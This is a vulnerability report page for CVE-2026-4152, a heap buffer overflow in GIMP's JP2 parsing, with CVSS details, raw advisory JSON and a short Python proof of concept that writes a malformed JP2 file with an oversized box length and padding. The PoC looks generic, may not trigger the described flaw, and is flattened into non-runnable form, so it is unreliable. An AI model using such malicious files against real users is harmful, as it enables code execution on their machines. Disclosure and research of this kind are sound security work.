Security Vulnerability Report
中文
CVE-2026-4152 CVSS 7.8 HIGH

CVE-2026-4152

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-14 19:32:46

Description

GIMP JP2 File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of JP2 files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28863.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:* - VULNERABLE
GIMP (Commit f64c9c23ba3c37dc7b875a9fb477c23953b4666e 之前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct def generate_malicious_jp2(filename): # Standard JP2 signature box jp2_signature = b'\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a' # File Type Box ftyp_box = b'\x00\x00\x00\x14\x66\x74\x79\x70\x6a\x70\x32\x20\x00\x00\x00\x00\x6a\x70\x32\x20' # Craft a malformed box with an invalid large length to trigger the overflow # Box header: 4 bytes length, 4 bytes type malicious_type = b'\x6d\x61\x6c\x63' # 'malc' # Set length to a large value to bypass checks or cause overflow malicious_length = struct.pack('>I', 0xFFFFFFF0) # Payload padding to overflow the heap buffer padding = b'A' * 0x5000 with open(filename, 'wb') as f: f.write(jp2_signature) f.write(ftyp_box) f.write(malicious_length + malicious_type + padding) if __name__ == "__main__": print("Generating malicious JP2 file...") generate_malicious_jp2('cve_2026_4152_poc.jp2') print("File created: cve_2026_4152_poc.jp2")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4152", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:16.830", "lastModified": "2026-04-14T19:32:46.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP JP2 File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of JP2 files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28863."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "0866C0EF-59AE-4AB9-8D0F-7C75CD20F77E"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/f64c9c23ba3c37dc7b875a9fb477c23953b4666e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-219/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}